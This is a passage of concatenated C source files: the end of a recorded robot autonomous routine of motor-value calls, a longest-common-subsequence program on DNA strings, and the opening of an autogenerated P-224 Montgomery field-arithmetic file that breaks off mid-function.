-42 ); auton( 0, 7, -32, -35, -35, -41 ); auton( 0, 7, -34, -35, -34, -41 ); auton( 0, 7, -34, -36, -31, -40 ); auton( 0, 7, -33, -36, -26, -40 ); auton( 0, 7, -36, -37, -26, -39 ); auton( 0, 7, -34, -37, -31, -39 ); auton( 0, 7, -29, -37, -30, -39 ); auton( 2, 7, -27, -35, -28, -40 ); auton( 0, 7, -18, -35, -20, -40 ); auton( 0, 7, -20, -30, -20, -40 ); auton( 0, 7, -16, -30, -20, -40 ); auton( 0, 7, -16, -28, -17, -40 ); auton( 0, 7, -14, -25, -16, -36 ); auton( 0, 7, -14, -25, -15, -36 ); auton( 0, 7, -10, -16, -11, -17 ); auton( 1, 7, -9, 0, -9, 0 ); auton( 0, 7, -3, 0, -2, 0 ); /* 7 Second(s) */ auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 95, 0, 0, 0, 0 ); auton( 3, 95, 0, 0, 0, 0 ); auton( 22, 88, 2, 0, 1, 0 ); auton( 23, 66, 4, 0, 4, 0 ); auton( 21, 55, 1, 0, 3, 0 ); auton( 15, 38, 0, 0, 0, 0 ); auton( 8, 28, 0, 0, 0, 0 ); auton( 4, 25, 0, 0, 0, 0 ); auton( 2, 22, 0, 0, 0, 0 ); auton( 1, 21, 2, 17, 2, 16 ); auton( 0, 21, 5, 21, 3, 18 ); auton( 0, 21, 2, 21, 4, 18 ); auton( 0, 21, 7, 25, 5, 19 ); auton( 0, 21, 8, 26, 8, 19 ); auton( 0, 21, 9, 26, 8, 20 ); auton( 0, 21, 11, 26, 9, 21 ); auton( 0, 21, 13, 26, 11, 22 ); auton( 0, 21, 12, 26, 13, 22 ); /* 8 Second(s) */ auton( 0, 21, 14, 26, 11, 22 ); auton( 0, 21, 14, 25, 13, 26 ); auton( 0, 21, 14, 24, 14, 27 ); auton( 0, 21, 14, 22, 15, 34 ); auton( 0, 21, 15, 23, 18, 34 ); auton( 0, 21, 15, 23, 17, 34 ); auton( 0, 21, 14, 23, 19, 34 ); auton( 0, 21, 17, 27, 20, 33 ); auton( 0, 21, 16, 29, 21, 33 ); auton( 0, 21, 17, 29, 22, 33 ); auton( 0, 21, 19, 33, 20, 31 ); auton( 0, 21, 20, 33, 22, 31 ); auton( 0, 21, 19, 33, 23, 31 ); auton( 0, 21, 21, 33, 22, 31 ); auton( 0, 21, 22, 33, 22, 31 ); auton( 0, 21, 24, 33, 24, 31 ); auton( 0, 21, 25, 36, 22, 29 ); auton( 0, 21, 24, 36, 21, 29 ); auton( 0, 21, 27, 38, 23, 28 ); auton( 0, 21, 30, 38, 23, 28 ); /* 9 Second(s) */ auton( 0, 21, 25, 38, 24, 28 ); auton( 0, 21, 28, 38, 25, 28 ); auton( 0, 21, 27, 38, 25, 28 ); auton( 0, 21, 27, 38, 23, 28 ); auton( 0, 21, 28, 38, 24, 28 ); auton( 0, 21, 29, 38, 25, 28 ); auton( 0, 21, 26, 38, 24, 28 ); auton( 0, 21, 28, 38, 24, 28 ); auton( 0, 21, 29, 38, 22, 31 ); auton( 0, 21, 26, 38, 22, 33 ); auton( 0, 21, 28, 38, 24, 33 ); auton( 0, 21, 28, 38, 25, 38 ); auton( 0, 21, 28, 34, 26, 43 ); auton( 0, 21, 28, 31, 29, 45 ); auton( 0, 21, 29, 27, 30, 46 ); auton( 0, 21, 26, 27, 28, 46 ); auton( 0, 21, 26, 25, 30, 46 ); auton( 0, 21, 26, 25, 31, 46 ); auton( 0, 21, 26, 25, 30, 46 ); auton( 0, 21, 25, 25, 35, 46 ); /* 10 Second(s) */ auton( 0, 21, 26, 24, 35, 46 ); auton( 0, 21, 25, 24, 31, 46 ); auton( 0, 21, 24, 22, 34, 46 ); auton( 0, 21, 24, 19, 33, 50 ); auton( 0, 21, 22, 18, 33, 50 ); auton( 0, 21, 21, 18, 36, 50 ); auton( 0, 21, 20, 18, 33, 50 ); auton( 0, 21, 19, 18, 34, 50 ); auton( 0, 21, 19, 17, 37, 50 ); auton( 0, 21, 22, 17, 34, 51 ); auton( 0, 21, 20, 16, 36, 55 ); auton( 0, 21, 20, 16, 38, 55 ); auton( 0, 21, 20, 14, 38, 56 ); auton( 0, 21, 18, 14, 38, 56 ); auton( 0, 21, 16, 0, 39, 58 ); auton( 0, 21, 17, 0, 37, 58 ); auton( 0, 21, 10, -14, 38, 58 ); auton( 0, 21, 0, -14, 0, 58 ); auton( 0, 21, 0, -15, 0, 58 ); auton( 0, 21, 0, -18, 0, 58 ); /* 11 Second(s) */ auton( 0, 21, 0, -20, 0, 58 ); auton( 0, 21, 0, -20, 0, 58 ); auton( 0, 21, 0, -23, 0, 58 ); auton( 0, 21, 0, -25, 0, 58 ); auton( 0, 21, 0, -25, 0, 58 ); auton( 0, 21, 0, -26, 0, 58 ); auton( 0, 21, 0, -26, 0, 31 ); auton( 0, 21, 0, -20, 0, 0 ); auton( 0, 21, 0, -20, 0, 0 ); auton( 0, 21, 0, -17, 0, 0 ); auton( 0, 21, 0, -18, 0, 0 ); auton( 0, 21, 0, -18, 0, 0 ); auton( 0, 21, 0, -23, 0, -16 ); auton( 0, 21, 0, -27, 0, -19 ); auton( 0, 21, 0, -27, 0, -19 ); auton( 0, 21, 0, -30, 0, -21 ); auton( 0, 21, 0, -33, 0, -23 ); auton( 0, 21, 0, -33, 0, -23 ); auton( 0, 21, 0, -40, 0, -23 ); auton( 0, 21, 0, -41, 0, -23 ); /* 12 Second(s) */ auton( 0, 21, 0, -44, 0, -23 ); auton( 0, 21, 0, -44, 0, -23 ); auton( 0, 21, 0, -50, 0, -23 ); auton( 0, 21, 0, -62, 0, -23 ); auton( 0, 21, 0, -62, 0, -23 ); auton( 0, 21, 0, -64, 0, -23 ); auton( 0, 21, 0, -64, 0, -23 ); auton( 0, 21, 0, -64, 0, -23 ); auton( 0, 21, 0, -62, 0, -25 ); auton( 0, 21, 146, -62, -125, -27 ); auton( 0, 21, -41, -62, -23, -27 ); auton( 0, 21, -41, -58, -23, -27 ); auton( 0, 21, -41, -30, -25, -30 ); auton( 0, 21, -40, -27, -24, -33 ); auton( 0, 21, -39, -19, -24, -48 ); auton( 0, 21, -35, -19, -26, -48 ); auton( 0, 21, -32, -18, -28, -50 ); auton( 0, 21, -32, -18, -26, -50 ); auton( 0, 21, -33, -15, -27, -55 ); auton( 0, 21, -29, 0, -31, -56 ); /* 13 Second(s) */ auton( 0, 21, -28, 0, -32, -56 ); auton( 0, 21, -25, 0, -34, -56 ); auton( 0, 21, -15, 0, -21, -56 ); auton( 0, 21, 0, -16, 0, -42 ); auton( 0, 21, 0, -17, 0, -35 ); auton( 0, 21, 0, -17, 0, -29 ); auton( 0, 21, 0, 0, 0, -17 ); auton( 0, 21, 0, 0, 0, -17 ); auton( 0, 20, 0, 0, 0, 0 ); auton( 1, 21, 0, 0, 0, 0 ); auton( -1, -127, 0, 0, 0, 0 ); auton( 1, -127, 0, 0, 0, 0 ); auton( -3, -127, 416, 0, 337, 0 ); auton( -22, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); auton( -31, -127, 0, 0, 0, 0 ); auton( -25, -127, 0, 0, 0, 0 ); auton( -12, 7, 0, 0, 0, 0 ); auton( -1, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); /* 14 Second(s) */ auton( 6, 7, 0, 0, 0, 0 ); auton( 8, 7, 0, 0, -4, 0 ); auton( 8, 7, 0, 0, 2, 0 ); auton( 6, 7, 0, 0, 3, 18 ); auton( 3, 7, 0, 17, 2, 22 ); auton( 1, 7, 0, 17, 7, 22 ); auton( 0, 7, 3, 19, 6, 27 ); auton( 1, 7, 7, 20, 4, 31 ); auton( 0, 7, 3, 20, 7, 31 ); auton( 0, 7, 4, 18, 8, 40 ); auton( 1, 7, 7, 18, 11, 62 ); auton( 2, 7, 7, 18, 14, 62 ); auton( 0, 7, 5, 19, 22, 127 ); auton( 0, 7, 7, 18, 40, 127 ); auton( 0, 7, 7, 17, 49, 127 ); auton( 0, 7, 10, 17, 46, 127 ); auton( 0, 7, 11, 33, 40, 127 ); auton( 0, 7, 19, 33, 44, 127 ); auton( 0, 7, 25, 127, 46, 127 ); auton( 0, 7, 43, 127, 31, 127 ); /* 15 Second(s) */ auton( 3, 7, 40, 127, 0, 127 ); auton( 3, 7, 50, 127, 0, 127 ); auton( 0, 7, 54, 127, 0, 127 ); auton( 0, 7, 55, 127, 0, 127 ); auton( 0, 7, 57, 84, 0, 127 ); auton( 0, 7, 60, 84, 0, 127 ); auton( 0, 7, 54, 83, 0, 127 ); auton( 0, 7, 54, 64, 0, 127 ); auton( 0, 7, 55, 38, 0, 127 ); auton( 0, 7, 52, 38, 0, 127 ); auton( 0, 7, 50, 37, 0, 127 ); auton( 0, 7, 51, 37, 0, 127 ); auton( 0, 7, 48, 37, 0, 127 ); auton( 0, 7, 47, 37, 0, 127 ); auton( 0, 7, 46, 39, 0, 127 ); auton( 0, 7, 43, 39, 0, 127 ); auton( 0, 7, 46, 42, 0, 127 ); auton( 0, 7, 44, 42, 0, 127 ); auton( 0, 7, 31, 67, 0, 127 ); auton( 0, 7, 23, 127, 0, 127 ); /* 16 Second(s) */ auton( 0, 7, 36, 127, 0, 127 ); auton( 0, 7, 46, 37, 0, 30 ); auton( 0, 7, 44, 37, 0, 30 ); auton( 2, 7, 48, 0, 0, 0 ); auton( 0, 7, 34, 0, 0, 0 ); auton( 2, 7, 28, 0, 0, 0 ); auton( 0, 7, 22, 0, 0, 0 ); auton( 0, 7, 17, 0, 0, 0 ); auton( 0, 7, 16, 0, 0, 0 ); auton( 0, 7, 16, 0, 0, 0 ); auton( 0, 7, 12, 0, 0, 0 ); auton( 0, 7, 8, 0, 0, 0 ); auton( 0, 7, 4, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); }
the_stack_data/117328946.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define max(a,b) (((a) > (b)) ? (a) : (b)) int **mtx_allocate(int row, int col) { int** mtx = (int **) calloc(row, sizeof(int *)); for (int i = 0; i < row; i += 1) { mtx[i] = (int *) calloc(col, sizeof(int)); } return mtx; } void mtx_print(int **mtx, int row, int col) { printf("------------------\n"); for (int i = 0; i < row; i += 1) { for (int j = 0; j < col; j += 1) { printf("%02d\t", mtx[i][j]); } printf("\n"); } printf("------------------\n"); } void mtx_free(int ***mtx, int row) { int **inner_mtx = *mtx; for (int i = 0; i < row; i += 1) { free(inner_mtx[i]); inner_mtx[i] = NULL; } free(inner_mtx); *mtx = NULL; } char *lcs(char *str1, char *str2, int len1, int len2) { int **lcs_mtx = mtx_allocate(len1 + 1, len2 + 1); for (int i = 0; i <= len1; i += 1) { for (int j = 0; j <= len2; j += 1) { if (i == 0 || j == 0) { lcs_mtx[i][j] = 0; } else if (str1[i - 1] == str2[j - 1]) { lcs_mtx[i][j] = lcs_mtx[i - 1][j - 1] + 1; } else { lcs_mtx[i][j] = max(lcs_mtx[i - 1][j], lcs_mtx[i][j - 1]); } } } int index = lcs_mtx[len1][len2]; char *longest = (char *) calloc(index + 1, sizeof(char)); longest[index] = '\0'; int i = len1; int j = len2; while (i > 0 && j > 0) { if (str1[i - 1] == str2[j - 1]) { longest[index - 1] = str1[i - 1]; i -= 1; j -= 1; index -= 1; } else if (lcs_mtx[i - 1][j] > lcs_mtx[i][j - 1]) { i -= 1; } else { j -= 1; } } mtx_free(&lcs_mtx, len1 + 1); return longest; } int main() { char *x = "ATTCTTTAGCAGGCAGGCAGGTGGCAGGTGACGATGGGGATGGAAAAG"; char *y = "ATACTTTAGCATGCGGGCAGGAGGCGAGACGATGTCGGTATGAATG"; int m = strlen(x); int n = strlen(y); char *str = lcs(x, y, m, n); printf("%s\n", str); }
the_stack_data/1194438.c
/* Autogenerated: 'src/ExtractionOCaml/word_by_word_montgomery' --static --use-value-barrier p224 32 '2^224 - 2^96 + 1' mul square add sub opp from_montgomery to_montgomery nonzero selectznz to_bytes from_bytes one msat divstep divstep_precomp */ /* curve description: p224 */ /* machine_wordsize = 32 (from "32") */ /* requested operations: mul, square, add, sub, opp, from_montgomery, to_montgomery, nonzero, selectznz, to_bytes, from_bytes, one, msat, divstep, divstep_precomp */ /* m = 0xffffffffffffffffffffffffffffffff000000000000000000000001 (from "2^224 - 2^96 + 1") */ /* */ /* NOTE: In addition to the bounds specified above each function, all */ /* functions synthesized for this Montgomery arithmetic require the */ /* input to be strictly less than the prime modulus (m), and also */ /* require the input to be in the unique saturated representation. */ /* All functions also ensure that these two properties are true of */ /* return values. */ /* */ /* Computed values: */ /* eval z = z[0] + (z[1] << 32) + (z[2] << 64) + (z[3] << 96) + (z[4] << 128) + (z[5] << 160) + (z[6] << 192) */ /* bytes_eval z = z[0] + (z[1] << 8) + (z[2] << 16) + (z[3] << 24) + (z[4] << 32) + (z[5] << 40) + (z[6] << 48) + (z[7] << 56) + (z[8] << 64) + (z[9] << 72) + (z[10] << 80) + (z[11] << 88) + (z[12] << 96) + (z[13] << 104) + (z[14] << 112) + (z[15] << 120) + (z[16] << 128) + (z[17] << 136) + (z[18] << 144) + (z[19] << 152) + (z[20] << 160) + (z[21] << 168) + (z[22] << 176) + (z[23] << 184) + (z[24] << 192) + (z[25] << 200) + (z[26] << 208) + (z[27] << 216) */ #include <stdint.h> typedef unsigned char fiat_p224_uint1; typedef signed char fiat_p224_int1; #if (-1 & 3) != 3 #error "This code only works on a two's complement system" #endif #if !defined(FIAT_P224_NO_ASM) && (defined(__GNUC__) || defined(__clang__)) static __inline__ uint32_t fiat_p224_value_barrier_u32(uint32_t a) { __asm__("" : "+r"(a) : /* no inputs */); return a; } #else # define fiat_p224_value_barrier_u32(x) (x) #endif /* * The function fiat_p224_addcarryx_u32 is an addition with carry. * Postconditions: * out1 = (arg1 + arg2 + arg3) mod 2^32 * out2 = ⌊(arg1 + arg2 + arg3) / 2^32⌋ * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffff] * arg3: [0x0 ~> 0xffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffff] * out2: [0x0 ~> 0x1] */ static void fiat_p224_addcarryx_u32(uint32_t* out1, fiat_p224_uint1* out2, fiat_p224_uint1 arg1, uint32_t arg2, uint32_t arg3) { uint64_t x1; uint32_t x2; fiat_p224_uint1 x3; x1 = ((arg1 + (uint64_t)arg2) + arg3); x2 = (uint32_t)(x1 & UINT32_C(0xffffffff)); x3 = (fiat_p224_uint1)(x1 >> 32); *out1 = x2; *out2 = x3; } /* * The function fiat_p224_subborrowx_u32 is a subtraction with borrow. * Postconditions: * out1 = (-arg1 + arg2 + -arg3) mod 2^32 * out2 = -⌊(-arg1 + arg2 + -arg3) / 2^32⌋ * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffff] * arg3: [0x0 ~> 0xffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffff] * out2: [0x0 ~> 0x1] */ static void fiat_p224_subborrowx_u32(uint32_t* out1, fiat_p224_uint1* out2, fiat_p224_uint1 arg1, uint32_t arg2, uint32_t arg3) { int64_t x1; fiat_p224_int1 x2; uint32_t x3; x1 = ((arg2 - (int64_t)arg1) - arg3); x2 = (fiat_p224_int1)(x1 >> 32); x3 = (uint32_t)(x1 & UINT32_C(0xffffffff)); *out1 = x3; *out2 = (fiat_p224_uint1)(0x0 - x2); } /* * The function fiat_p224_mulx_u32 is a multiplication, returning the full double-width result. * Postconditions: * out1 = (arg1 * arg2) mod 2^32 * out2 = ⌊arg1 * arg2 / 2^32⌋ * * Input Bounds: * arg1: [0x0 ~> 0xffffffff] * arg2: [0x0 ~> 0xffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffff] * out2: [0x0 ~> 0xffffffff] */ static void fiat_p224_mulx_u32(uint32_t* out1, uint32_t* out2, uint32_t arg1, uint32_t arg2) { uint64_t x1; uint32_t x2; uint32_t x3; x1 = ((uint64_t)arg1 * arg2); x2 = (uint32_t)(x1 & UINT32_C(0xffffffff)); x3 = (uint32_t)(x1 >> 32); *out1 = x2; *out2 = x3; } /* * The function fiat_p224_cmovznz_u32 is a single-word conditional move. * Postconditions: * out1 = (if arg1 = 0 then arg2 else arg3) * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffff] * arg3: [0x0 ~> 0xffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffff] */ static void fiat_p224_cmovznz_u32(uint32_t* out1, fiat_p224_uint1 arg1, uint32_t arg2, uint32_t arg3) { fiat_p224_uint1 x1; uint32_t x2; uint32_t x3; x1 = (!(!arg1)); x2 = ((fiat_p224_int1)(0x0 - x1) & UINT32_C(0xffffffff)); x3 = ((fiat_p224_value_barrier_u32(x2) & arg3) | (fiat_p224_value_barrier_u32((~x2)) & arg2)); *out1 = x3; } /* * The function fiat_p224_mul multiplies two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_mul(uint32_t out1[7], const uint32_t arg1[7], const uint32_t arg2[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint32_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint32_t x12; uint32_t x13; uint32_t x14; uint32_t x15; uint32_t x16; uint32_t x17; uint32_t x18; uint32_t x19; uint32_t x20; uint32_t x21; uint32_t x22; fiat_p224_uint1 x23; uint32_t x24; fiat_p224_uint1 x25; uint32_t x26; fiat_p224_uint1 x27; uint32_t x28; fiat_p224_uint1 x29; uint32_t x30; fiat_p224_uint1 x31; uint32_t x32; fiat_p224_uint1 x33; uint32_t x34; uint32_t x35; uint32_t x36; uint32_t x37; uint32_t x38; uint32_t x39; uint32_t x40; uint32_t x41; uint32_t x42; uint32_t x43; uint32_t x44; uint32_t x45; fiat_p224_uint1 x46; uint32_t x47; fiat_p224_uint1 x48; uint32_t x49; fiat_p224_uint1 x50; uint32_t x51; uint32_t x52; fiat_p224_uint1 x53; uint32_t x54; fiat_p224_uint1 x55; uint32_t x56; fiat_p224_uint1 x57; uint32_t x58; fiat_p224_uint1 x59; uint32_t x60; fiat_p224_uint1 x61; uint32_t x62; fiat_p224_uint1 x63; uint32_t x64; fiat_p224_uint1 x65; uint32_t x66; fiat_p224_uint1 x67; uint32_t x68; uint32_t x69; uint32_t x70; uint32_t x71; uint32_t x72; uint32_t x73; uint32_t x74; uint32_t x75; uint32_t x76; uint32_t x77; uint32_t x78; uint32_t x79; uint32_t x80; uint32_t x81; uint32_t x82; fiat_p224_uint1 x83; uint32_t x84; fiat_p224_uint1 x85; uint32_t x86; fiat_p224_uint1 x87; uint32_t x88; fiat_p224_uint1 x89; uint32_t x90; fiat_p224_uint1 x91; uint32_t x92; fiat_p224_uint1 x93; uint32_t x94; uint32_t x95; fiat_p224_uint1 x96; uint32_t x97; fiat_p224_uint1 x98; uint32_t x99; fiat_p224_uint1 x100; uint32_t x101; fiat_p224_uint1 x102; uint32_t x103; fiat_p224_uint1 x104; uint32_t x105; fiat_p224_uint1 x106; uint32_t x107; fiat_p224_uint1 x108; uint32_t x109; fiat_p224_uint1 x110; uint32_t x111; uint32_t x112; uint32_t x113; uint32_t x114; uint32_t x115; uint32_t x116; uint32_t x117; uint32_t x118; uint32_t x119; uint32_t x120; uint32_t x121; fiat_p224_uint1 x122; uint32_t x123; fiat_p224_uint1 x124; uint32_t x125; fiat_p224_uint1 x126; uint32_t x127; uint32_t x128; fiat_p224_uint1 x129; uint32_t x130; fiat_p224_uint1 x131; uint32_t x132; fiat_p224_uint1 x133; uint32_t x134; fiat_p224_uint1 x135; uint32_t x136; fiat_p224_uint1 x137; uint32_t x138; fiat_p224_uint1 x139; uint32_t x140; fiat_p224_uint1 x141; uint32_t x142; fiat_p224_uint1 x143; uint32_t x144; uint32_t x145; uint32_t x146; uint32_t x147; uint32_t x148; uint32_t x149; uint32_t x150; uint32_t x151; uint32_t x152; uint32_t x153; uint32_t x154; uint32_t x155; uint32_t x156; uint32_t x157; uint32_t x158; uint32_t x159; fiat_p224_uint1 x160; uint32_t x161; fiat_p224_uint1 x162; uint32_t x163; fiat_p224_uint1 x164; uint32_t x165; fiat_p224_uint1 x166; uint32_t x167; fiat_p224_uint1 x168; uint32_t x169; fiat_p224_uint1 x170; uint32_t x171; uint32_t x172; fiat_p224_uint1 x173; uint32_t x174; fiat_p224_uint1 x175; uint32_t x176; fiat_p224_uint1 x177; uint32_t x178; fiat_p224_uint1 x179; uint32_t x180; fiat_p224_uint1 x181; uint32_t x182; fiat_p224_uint1 x183; uint32_t x184; fiat_p224_uint1 x185; uint32_t x186; fiat_p224_uint1 x187; uint32_t x188; uint32_t x189; uint32_t x190; uint32_t x191; uint32_t x192; uint32_t x193; uint32_t x194; uint32_t x195; uint32_t x196; uint32_t x197; uint32_t x198; fiat_p224_uint1 x199; uint32_t x200; fiat_p224_uint1 x201; uint32_t x202; fiat_p224_uint1 x203; uint32_t x204; uint32_t x205; fiat_p224_uint1 x206; uint32_t x207; fiat_p224_uint1 x208; uint32_t x209; fiat_p224_uint1 x210; uint32_t x211; fiat_p224_uint1 x212; uint32_t x213; fiat_p224_uint1 x214; uint32_t x215; fiat_p224_uint1 x216; uint32_t x217; fiat_p224_uint1 x218; uint32_t x219; fiat_p224_uint1 x220; uint32_t x221; uint32_t x222; uint32_t x223; uint32_t x224; uint32_t x225; uint32_t x226; uint32_t x227; uint32_t x228; uint32_t x229; uint32_t x230; uint32_t x231; uint32_t x232; uint32_t x233; uint32_t x234; uint32_t x235; uint32_t x236; fiat_p224_uint1 x237; uint32_t x238; fiat_p224_uint1 x239; uint32_t x240; fiat_p224_uint1 x241; uint32_t x242; fiat_p224_uint1 x243; uint32_t x244; fiat_p224_uint1 x245; uint32_t x246; fiat_p224_uint1 x247; uint32_t x248; uint32_t x249; fiat_p224_uint1 x250; uint32_t x251; fiat_p224_uint1 x252; uint32_t x253; fiat_p224_uint1 x254; uint32_t x255; fiat_p224_uint1 x256; uint32_t x257; fiat_p224_uint1 x258; uint32_t x259; fiat_p224_uint1 x260; uint32_t x261; fiat_p224_uint1 x262; uint32_t x263; fiat_p224_uint1 x264; uint32_t x265; uint32_t x266; uint32_t x267; uint32_t x268; uint32_t x269; uint32_t x270; uint32_t x271; uint32_t x272; uint32_t x273; uint32_t x274; uint32_t x275; fiat_p224_uint1 x276; uint32_t x277; fiat_p224_uint1 x278; uint32_t x279; fiat_p224_uint1 x280; uint32_t x281; uint32_t x282; fiat_p224_uint1 x283; uint32_t x284; fiat_p224_uint1 x285; uint32_t x286; fiat_p224_uint1 x287; uint32_t x288; fiat_p224_uint1 x289; uint32_t x290; fiat_p224_uint1 x291; uint32_t x292; fiat_p224_uint1 x293; uint32_t x294; fiat_p224_uint1 x295; uint32_t x296; fiat_p224_uint1 x297; uint32_t x298; uint32_t x299; uint32_t x300; uint32_t x301; uint32_t x302; uint32_t x303; uint32_t x304; uint32_t x305; uint32_t x306; uint32_t x307; uint32_t x308; uint32_t x309; uint32_t x310; uint32_t x311; uint32_t x312; uint32_t x313; fiat_p224_uint1 x314; uint32_t x315; fiat_p224_uint1 x316; uint32_t x317; fiat_p224_uint1 x318; uint32_t x319; fiat_p224_uint1 x320; uint32_t x321; fiat_p224_uint1 x322; uint32_t x323; fiat_p224_uint1 x324; uint32_t x325; uint32_t x326; fiat_p224_uint1 x327; uint32_t x328; fiat_p224_uint1 x329; uint32_t x330; fiat_p224_uint1 x331; uint32_t x332; fiat_p224_uint1 x333; uint32_t x334; fiat_p224_uint1 x335; uint32_t x336; fiat_p224_uint1 x337; uint32_t x338; fiat_p224_uint1 x339; uint32_t x340; fiat_p224_uint1 x341; uint32_t x342; uint32_t x343; uint32_t x344; uint32_t x345; uint32_t x346; uint32_t x347; uint32_t x348; uint32_t x349; uint32_t x350; uint32_t x351; uint32_t x352; fiat_p224_uint1 x353; uint32_t x354; fiat_p224_uint1 x355; uint32_t x356; fiat_p224_uint1 x357; uint32_t x358; uint32_t x359; fiat_p224_uint1 x360; uint32_t x361; fiat_p224_uint1 x362; uint32_t x363; fiat_p224_uint1 x364; uint32_t x365; fiat_p224_uint1 x366; uint32_t x367; fiat_p224_uint1 x368; uint32_t x369; fiat_p224_uint1 x370; uint32_t x371; fiat_p224_uint1 x372; uint32_t x373; fiat_p224_uint1 x374; uint32_t x375; uint32_t x376; uint32_t x377; uint32_t x378; uint32_t x379; uint32_t x380; uint32_t x381; uint32_t x382; uint32_t x383; uint32_t x384; uint32_t x385; uint32_t x386; uint32_t x387; uint32_t x388; uint32_t x389; uint32_t x390; fiat_p224_uint1 x391; uint32_t x392; fiat_p224_uint1 x393; uint32_t x394; fiat_p224_uint1 x395; uint32_t x396; fiat_p224_uint1 x397; uint32_t x398; fiat_p224_uint1 x399; uint32_t x400; fiat_p224_uint1 x401; uint32_t x402; uint32_t x403; fiat_p224_uint1 x404; uint32_t x405; fiat_p224_uint1 x406; uint32_t x407; fiat_p224_uint1 x408; uint32_t x409; fiat_p224_uint1 x410; uint32_t x411; fiat_p224_uint1 x412; uint32_t x413; fiat_p224_uint1 x414; uint32_t x415; fiat_p224_uint1 x416; uint32_t x417; fiat_p224_uint1 x418; uint32_t x419; uint32_t x420; uint32_t x421; uint32_t x422; uint32_t x423; uint32_t x424; uint32_t x425; uint32_t x426; uint32_t x427; uint32_t x428; uint32_t x429; fiat_p224_uint1 x430; uint32_t x431; fiat_p224_uint1 x432; uint32_t x433; fiat_p224_uint1 x434; uint32_t x435; uint32_t x436; fiat_p224_uint1 x437; uint32_t x438; fiat_p224_uint1 x439; uint32_t x440; fiat_p224_uint1 x441; uint32_t x442; fiat_p224_uint1 x443; uint32_t x444; fiat_p224_uint1 x445; uint32_t x446; fiat_p224_uint1 x447; uint32_t x448; fiat_p224_uint1 x449; uint32_t x450; fiat_p224_uint1 x451; uint32_t x452; uint32_t x453; uint32_t x454; uint32_t x455; uint32_t x456; uint32_t x457; uint32_t x458; uint32_t x459; uint32_t x460; uint32_t x461; uint32_t x462; uint32_t x463; uint32_t x464; uint32_t x465; uint32_t x466; uint32_t x467; fiat_p224_uint1 x468; uint32_t x469; fiat_p224_uint1 x470; uint32_t x471; fiat_p224_uint1 x472; uint32_t x473; fiat_p224_uint1 x474; uint32_t x475; fiat_p224_uint1 x476; uint32_t x477; fiat_p224_uint1 x478; uint32_t x479; uint32_t x480; fiat_p224_uint1 x481; uint32_t x482; fiat_p224_uint1 x483; uint32_t x484; fiat_p224_uint1 x485; uint32_t x486; fiat_p224_uint1 x487; uint32_t x488; fiat_p224_uint1 x489; uint32_t x490; fiat_p224_uint1 x491; uint32_t x492; fiat_p224_uint1 x493; uint32_t x494; fiat_p224_uint1 x495; uint32_t x496; uint32_t x497; uint32_t x498; uint32_t x499; uint32_t x500; uint32_t x501; uint32_t x502; uint32_t x503; uint32_t x504; uint32_t x505; uint32_t x506; fiat_p224_uint1 x507; uint32_t x508; fiat_p224_uint1 x509; uint32_t x510; fiat_p224_uint1 x511; uint32_t x512; uint32_t x513; fiat_p224_uint1 x514; uint32_t x515; fiat_p224_uint1 x516; uint32_t x517; fiat_p224_uint1 x518; uint32_t x519; fiat_p224_uint1 x520; uint32_t x521; fiat_p224_uint1 x522; uint32_t x523; fiat_p224_uint1 x524; uint32_t x525; fiat_p224_uint1 x526; uint32_t x527; fiat_p224_uint1 x528; uint32_t x529; uint32_t x530; fiat_p224_uint1 x531; uint32_t x532; fiat_p224_uint1 x533; uint32_t x534; fiat_p224_uint1 x535; uint32_t x536; fiat_p224_uint1 x537; uint32_t x538; fiat_p224_uint1 x539; uint32_t x540; fiat_p224_uint1 x541; uint32_t x542; fiat_p224_uint1 x543; uint32_t x544; fiat_p224_uint1 x545; uint32_t x546; uint32_t x547; uint32_t x548; uint32_t x549; uint32_t x550; uint32_t x551; uint32_t x552; x1 = (arg1[1]); x2 = (arg1[2]); x3 = (arg1[3]); x4 = (arg1[4]); x5 = (arg1[5]); x6 = (arg1[6]); x7 = (arg1[0]); fiat_p224_mulx_u32(&x8, &x9, x7, (arg2[6])); fiat_p224_mulx_u32(&x10, &x11, x7, (arg2[5])); fiat_p224_mulx_u32(&x12, &x13, x7, (arg2[4])); fiat_p224_mulx_u32(&x14, &x15, x7, (arg2[3])); fiat_p224_mulx_u32(&x16, &x17, x7, (arg2[2])); fiat_p224_mulx_u32(&x18, &x19, x7, (arg2[1])); fiat_p224_mulx_u32(&x20, &x21, x7, 